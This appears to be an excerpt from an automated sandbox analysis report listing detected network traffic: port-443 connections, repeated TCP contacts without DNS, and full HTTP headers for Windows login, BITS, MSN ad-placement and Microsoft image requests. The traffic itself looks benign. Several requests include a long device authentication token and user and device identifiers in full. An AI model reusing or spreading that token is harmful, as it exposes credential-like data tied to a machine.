Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49994
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49993
Source: unknownNetwork traffic detected: HTTP traffic on port 50016 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 50041 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49992
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49991
Source: unknownNetwork traffic detected: HTTP traffic on port 50033 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49990
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50043
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50042
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50045
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50044
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50047
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50046
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50049
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50048
Source: unknownNetwork traffic detected: HTTP traffic on port 50002 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49987 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50050
Source: unknownNetwork traffic detected: HTTP traffic on port 50027 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 50030 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50052
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50051
Source: unknownNetwork traffic detected: HTTP traffic on port 50044 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49993 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49989
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49988
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49987
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownTCP traffic detected without corresponding DNS query: 23.54.113.53
Source: unknownHTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29158.8; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4796Host: login.live.com
Source: global trafficHTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Encoding: identityIf-Unmodified-Since: Thu, 20 Apr 2017 16:10:39 GMTUser-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global trafficHTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:472DC600-FEAB-E7F8-720D-1E33F00FD1E7&ctry=US&time=20220408T170212Z&lc=en-US&pl=en-US&idtp=mid&uid=4388269c-b420-4134-ac19-bc7ca8a19ac1&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=492dae31b56c4c9eaec7feff7513297e&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1463022&metered=false&nettype=ethernet&npid=sc-280815&oemName=hsehht%2C%20Inc.&oemid=hsehht%2C%20Inc.&ossku=Professional&smBiosDm=hsehht7%2C1&tl=2&tsu=1463022&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32319&sc=6X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAdVW0iu23GIxjRyUBGA+V5LMoU/lMaTjobBnQosoTe6w30OZEf3HulBKeYXog3CqxSfjOHeF/J4iLS/gKyhq/ZV/xtrYHZ35PhcBmS2qzlwNBiXp0+l4efq5nsDEEESQ06VT9dPxHYgWIFLG65LRysydA1lM9dDPzftFvDLM/ickJDFevqkA3hG2mKV46IqHL4CT7eP4Hk0/MOrRp8JB5tew/jI7o25TIEcXI9Ohbx1KIwUuqQcpj0nfDAUZEjkQqVS2z/wQaH+/fdlFO/AoxQI3CbcoTeaCp3XIesBJX0bxVNzc22qQqCPfGWQ/Sb52rGvkgBRvdW8DFg8ToMjfQpYDZgAACE3mODPOPAwVqAFPV53gZZc0aOkGu+jJWnw46hEU9aCKlpEDkH6SywZSQj+Z6IyumM/ZCz1/Exb6MZih9PGVRFV0dS4rZOfTTsEXw5x6gJoWeqkJZJqul+/LQNZpdaM/TGNQWhUnnbhyzuL3J52vfTsZzAtC6HDHUtfCP567IuQfNJw1zOBQG/Pho8+d+FiHWtcPKMXaDH+rX7PpflRpHTm7bd+l+rsPvLvdstjafDcGAADV0pkaM4oU0n35rzdzjoAWTcazcHXkrs0Gr34gDLPkE96nUwLpeDlXN3LOntP44gHngfTJAvz4io7zKxVkmOUwHoTarQK7POiXKiwa8x1QRMWrj0xK5k34eIR6SWW4uOhaTkCvnkjxlUVc2iz/sxwQS6ZoJuzJ60lcBcq6ptimZGdy/yuIx2kCNYcUG/nBNXbdKtF3Kz0nMb3Ry9n0QIm/ncP9d68+s4WiRIc+RuW5MPI3aHMGGt2snchu87pA34+QQKDxQpJZVZnC+RaoA8mYS8BGPqZ//PidcqGGmzw2vccoT1N6pSAD7mXPyM9QONX68BD34uYAk1VCPhRpsKh41QE=&p=Cache-Control: no-cacheMS-CV: BYqskdYKuUKf7ZeJ.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:472DC600-FEAB-E7F8-720D-1E33F00FD1E7&ctry=US&time=20220408T170212Z&lc=en-US&pl=en-US&idtp=mid&uid=4388269c-b420-4134-ac19-bc7ca8a19ac1&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=3382b3df4d44412c80bfa0684fe70791&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1463022&metered=false&nettype=ethernet&npid=sc-338389&oemName=hsehht%2C%20Inc.&oemid=hsehht%2C%20Inc.&ossku=Professional&smBiosDm=hsehht7%2C1&tl=2&tsu=1463022&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32319&sc=6X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAdVW0iu23GIxjRyUBGA+V5LMoU/lMaTjobBnQosoTe6w30OZEf3HulBKeYXog3CqxSfjOHeF/J4iLS/gKyhq/ZV/xtrYHZ35PhcBmS2qzlwNBiXp0+l4efq5nsDEEESQ06VT9dPxHYgWIFLG65LRysydA1lM9dDPzftFvDLM/ickJDFevqkA3hG2mKV46IqHL4CT7eP4Hk0/MOrRp8JB5tew/jI7o25TIEcXI9Ohbx1KIwUuqQcpj0nfDAUZEjkQqVS2z/wQaH+/fdlFO/AoxQI3CbcoTeaCp3XIesBJX0bxVNzc22qQqCPfGWQ/Sb52rGvkgBRvdW8DFg8ToMjfQpYDZgAACE3mODPOPAwVqAFPV53gZZc0aOkGu+jJWnw46hEU9aCKlpEDkH6SywZSQj+Z6IyumM/ZCz1/Exb6MZih9PGVRFV0dS4rZOfTTsEXw5x6gJoWeqkJZJqul+/LQNZpdaM/TGNQWhUnnbhyzuL3J52vfTsZzAtC6HDHUtfCP567IuQfNJw1zOBQG/Pho8+d+FiHWtcPKMXaDH+rX7PpflRpHTm7bd+l+rsPvLvdstjafDcGAADV0pkaM4oU0n35rzdzjoAWTcazcHXkrs0Gr34gDLPkE96nUwLpeDlXN3LOntP44gHngfTJAvz4io7zKxVkmOUwHoTarQK7POiXKiwa8x1QRMWrj0xK5k34eIR6SWW4uOhaTkCvnkjxlUVc2iz/sxwQS6ZoJuzJ60lcBcq6ptimZGdy/yuIx2kCNYcUG/nBNXbdKtF3Kz0nMb3Ry9n0QIm/ncP9d68+s4WiRIc+RuW5MPI3aHMGGt2snchu87pA34+QQKDxQpJZVZnC+RaoA8mYS8BGPqZ//PidcqGGmzw2vccoT1N6pSAD7mXPyM9QONX68BD34uYAk1VCPhRpsKh41QE=&p=Cache-Control: no-cacheMS-CV: BYqskdYKuUKf7ZeJ.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:472DC600-FEAB-E7F8-720D-1E33F00FD1E7&ctry=US&time=20220408T170226Z&lc=en-US&pl=en-US&idtp=mid&uid=4388269c-b420-4134-ac19-bc7ca8a19ac1&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=619c052a6e5140c4b5cee07576f42985&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1463022&metered=false&nettype=ethernet&npid=sc-338387&oemName=hsehht%2C%20Inc.&oemid=hsehht%2C%20Inc.&ossku=Professional&rver=2&sc-mode=0&smBiosDm=hsehht7%2C1&tl=2&tsu=1463022&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32319&sc=6X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAdVW0iu23GIxjRyUBGA+V5LMoU/lMaTjobBnQosoTe6w30OZEf3HulBKeYXog3CqxSfjOHeF/J4iLS/gKyhq/ZV/xtrYHZ35PhcBmS2qzlwNBiXp0+l4efq5nsDEEESQ06VT9dPxHYgWIFLG65LRysydA1lM9dDPzftFvDLM/ickJDFevqkA3hG2mKV46IqHL4CT7eP4Hk0/MOrRp8JB5tew/jI7o25TIEcXI9Ohbx1KIwUuqQcpj0nfDAUZEjkQqVS2z/wQaH+/fdlFO/AoxQI3CbcoTeaCp3XIesBJX0bxVNzc22qQqCPfGWQ/Sb52rGvkgBRvdW8DFg8ToMjfQpYDZgAACE3mODPOPAwVqAFPV53gZZc0aOkGu+jJWnw46hEU9aCKlpEDkH6SywZSQj+Z6IyumM/ZCz1/Exb6MZih9PGVRFV0dS4rZOfTTsEXw5x6gJoWeqkJZJqul+/LQNZpdaM/TGNQWhUnnbhyzuL3J52vfTsZzAtC6HDHUtfCP567IuQfNJw1zOBQG/Pho8+d+FiHWtcPKMXaDH+rX7PpflRpHTm7bd+l+rsPvLvdstjafDcGAADV0pkaM4oU0n35rzdzjoAWTcazcHXkrs0Gr34gDLPkE96nUwLpeDlXN3LOntP44gHngfTJAvz4io7zKxVkmOUwHoTarQK7POiXKiwa8x1QRMWrj0xK5k34eIR6SWW4uOhaTkCvnkjxlUVc2iz/sxwQS6ZoJuzJ60lcBcq6ptimZGdy/yuIx2kCNYcUG/nBNXbdKtF3Kz0nMb3Ry9n0QIm/ncP9d68+s4WiRIc+RuW5MPI3aHMGGt2snchu87pA34+QQKDxQpJZVZnC+RaoA8mYS8BGPqZ//PidcqGGmzw2vccoT1N6pSAD7mXPyM9QONX68BD34uYAk1VCPhRpsKh41QE=&p=Cache-Control: no-cacheMS-CV: BYqskdYKuUKf7ZeJ.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:472DC600-FEAB-E7F8-720D-1E33F00FD1E7&ctry=US&time=20220408T170226Z&lc=en-US&pl=en-US&idtp=mid&uid=4388269c-b420-4134-ac19-bc7ca8a19ac1&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=5f4b6c89b2c846609f3e1f553bb48a37&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1463022&metered=false&nettype=ethernet&npid=sc-338388&oemName=hsehht%2C%20Inc.&oemid=hsehht%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=hsehht7%2C1&tl=2&tsu=1463022&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32319&sc=6X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAdVW0iu23GIxjRyUBGA+V5LMoU/lMaTjobBnQosoTe6w30OZEf3HulBKeYXog3CqxSfjOHeF/J4iLS/gKyhq/ZV/xtrYHZ35PhcBmS2qzlwNBiXp0+l4efq5nsDEEESQ06VT9dPxHYgWIFLG65LRysydA1lM9dDPzftFvDLM/ickJDFevqkA3hG2mKV46IqHL4CT7eP4Hk0/MOrRp8JB5tew/jI7o25TIEcXI9Ohbx1KIwUuqQcpj0nfDAUZEjkQqVS2z/wQaH+/fdlFO/AoxQI3CbcoTeaCp3XIesBJX0bxVNzc22qQqCPfGWQ/Sb52rGvkgBRvdW8DFg8ToMjfQpYDZgAACE3mODPOPAwVqAFPV53gZZc0aOkGu+jJWnw46hEU9aCKlpEDkH6SywZSQj+Z6IyumM/ZCz1/Exb6MZih9PGVRFV0dS4rZOfTTsEXw5x6gJoWeqkJZJqul+/LQNZpdaM/TGNQWhUnnbhyzuL3J52vfTsZzAtC6HDHUtfCP567IuQfNJw1zOBQG/Pho8+d+FiHWtcPKMXaDH+rX7PpflRpHTm7bd+l+rsPvLvdstjafDcGAADV0pkaM4oU0n35rzdzjoAWTcazcHXkrs0Gr34gDLPkE96nUwLpeDlXN3LOntP44gHngfTJAvz4io7zKxVkmOUwHoTarQK7POiXKiwa8x1QRMWrj0xK5k34eIR6SWW4uOhaTkCvnkjxlUVc2iz/sxwQS6ZoJuzJ60lcBcq6ptimZGdy/yuIx2kCNYcUG/nBNXbdKtF3Kz0nMb3Ry9n0QIm/ncP9d68+s4WiRIc+RuW5MPI3aHMGGt2snchu87pA34+QQKDxQpJZVZnC+RaoA8mYS8BGPqZ//PidcqGGmzw2vccoT1N6pSAD7mXPyM9QONX68BD34uYAk1VCPhRpsKh41QE=&p=Cache-Control: no-cacheMS-CV: BYqskdYKuUKf7ZeJ.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:472DC600-FEAB-E7F8-720D-1E33F00FD1E7&ctry=US&time=20220408T170227Z&lc=en-US&pl=en-US&idtp=mid&uid=4388269c-b420-4134-ac19-bc7ca8a19ac1&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=19c443aabf954506a4b84500aa0b4498&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1463022&metered=false&nettype=ethernet&npid=sc-338389&oemName=hsehht%2C%20Inc.&oemid=hsehht%2C%20Inc.&ossku=Professional&smBiosDm=hsehht7%2C1&tl=2&tsu=1463022&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: cid=128000000001627409&chs=0&imp=0&chf=0&ds=50583&fs=32319&sc=6X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAdVW0iu23GIxjRyUBGA+V5LMoU/lMaTjobBnQosoTe6w30OZEf3HulBKeYXog3CqxSfjOHeF/J4iLS/gKyhq/ZV/xtrYHZ35PhcBmS2qzlwNBiXp0+l4efq5nsDEEESQ06VT9dPxHYgWIFLG65LRysydA1lM9dDPzftFvDLM/ickJDFevqkA3hG2mKV46IqHL4CT7eP4Hk0/MOrRp8JB5tew/jI7o25TIEcXI9Ohbx1KIwUuqQcpj0nfDAUZEjkQqVS2z/wQaH+/fdlFO/AoxQI3CbcoTeaCp3XIesBJX0bxVNzc22qQqCPfGWQ/Sb52rGvkgBRvdW8DFg8ToMjfQpYDZgAACE3mODPOPAwVqAFPV53gZZc0aOkGu+jJWnw46hEU9aCKlpEDkH6SywZSQj+Z6IyumM/ZCz1/Exb6MZih9PGVRFV0dS4rZOfTTsEXw5x6gJoWeqkJZJqul+/LQNZpdaM/TGNQWhUnnbhyzuL3J52vfTsZzAtC6HDHUtfCP567IuQfNJw1zOBQG/Pho8+d+FiHWtcPKMXaDH+rX7PpflRpHTm7bd+l+rsPvLvdstjafDcGAADV0pkaM4oU0n35rzdzjoAWTcazcHXkrs0Gr34gDLPkE96nUwLpeDlXN3LOntP44gHngfTJAvz4io7zKxVkmOUwHoTarQK7POiXKiwa8x1QRMWrj0xK5k34eIR6SWW4uOhaTkCvnkjxlUVc2iz/sxwQS6ZoJuzJ60lcBcq6ptimZGdy/yuIx2kCNYcUG/nBNXbdKtF3Kz0nMb3Ry9n0QIm/ncP9d68+s4WiRIc+RuW5MPI3aHMGGt2snchu87pA34+QQKDxQpJZVZnC+RaoA8mYS8BGPqZ//PidcqGGmzw2vccoT1N6pSAD7mXPyM9QONX68BD34uYAk1VCPhRpsKh41QE=&p=Cache-Control: no-cacheMS-CV: BYqskdYKuUKf7ZeJ.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:472DC600-FEAB-E7F8-720D-1E33F00FD1E7&ctry=US&time=20220408T170231Z&lc=en-US&pl=en-US&idtp=mid&uid=4388269c-b420-4134-ac19-bc7ca8a19ac1&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=18d6cf97b83f4ce195194e5e6aa953a0&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1463022&metered=false&nettype=ethernet&npid=sc-280815&oemName=hsehht%2C%20Inc.&oemid=hsehht%2C%20Inc.&ossku=Professional&smBiosDm=hsehht7%2C1&tl=2&tsu=1463022&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: cid=128000000001627409&chs=0&imp=0&chf=0&ds=50583&fs=32319&sc=6X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAdVW0iu23GIxjRyUBGA+V5LMoU/lMaTjobBnQosoTe6w30OZEf3HulBKeYXog3CqxSfjOHeF/J4iLS/gKyhq/ZV/xtrYHZ35PhcBmS2qzlwNBiXp0+l4efq5nsDEEESQ06VT9dPxHYgWIFLG65LRysydA1lM9dDPzftFvDLM/ickJDFevqkA3hG2mKV46IqHL4CT7eP4Hk0/MOrRp8JB5tew/jI7o25TIEcXI9Ohbx1KIwUuqQcpj0nfDAUZEjkQqVS2z/wQaH+/fdlFO/AoxQI3CbcoTeaCp3XIesBJX0bxVNzc22qQqCPfGWQ/Sb52rGvkgBRvdW8DFg8ToMjfQpYDZgAACE3mODPOPAwVqAFPV53gZZc0aOkGu+jJWnw46hEU9aCKlpEDkH6SywZSQj+Z6IyumM/ZCz1/Exb6MZih9PGVRFV0dS4rZOfTTsEXw5x6gJoWeqkJZJqul+/LQNZpdaM/TGNQWhUnnbhyzuL3J52vfTsZzAtC6HDHUtfCP567IuQfNJw1zOBQG/Pho8+d+FiHWtcPKMXaDH+rX7PpflRpHTm7bd+l+rsPvLvdstjafDcGAADV0pkaM4oU0n35rzdzjoAWTcazcHXkrs0Gr34gDLPkE96nUwLpeDlXN3LOntP44gHngfTJAvz4io7zKxVkmOUwHoTarQK7POiXKiwa8x1QRMWrj0xK5k34eIR6SWW4uOhaTkCvnkjxlUVc2iz/sxwQS6ZoJuzJ60lcBcq6ptimZGdy/yuIx2kCNYcUG/nBNXbdKtF3Kz0nMb3Ry9n0QIm/ncP9d68+s4WiRIc+RuW5MPI3aHMGGt2snchu87pA34+QQKDxQpJZVZnC+RaoA8mYS8BGPqZ//PidcqGGmzw2vccoT1N6pSAD7mXPyM9QONX68BD34uYAk1VCPhRpsKh41QE=&p=Cache-Control: no-cacheMS-CV: BYqskdYKuUKf7ZeJ.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /cms/api/am/imageFileData/RE4CJ3o?ver=76ff HTTP/1.1Accept: */*Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /cms/api/am/imageFileData/RWMW3O?ver=5b92 HTTP/1.1Accept: */*Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /cms/api/am/imageFileData/RWP0UC?ver=2f44 HTTP/1.1Accept: */*Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /cms/api/am/imageFileData/RWP8kk?ver=8c62 HTTP/1.1Accept: */*Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /cms/api/am/imageFileData/RWNck1?ver=d266 HTTP/1.1Accept: */*Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /cms/api/am/imageFileData/RE4CSNq?ver=e631 HTTP/1.1Accept: */*Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
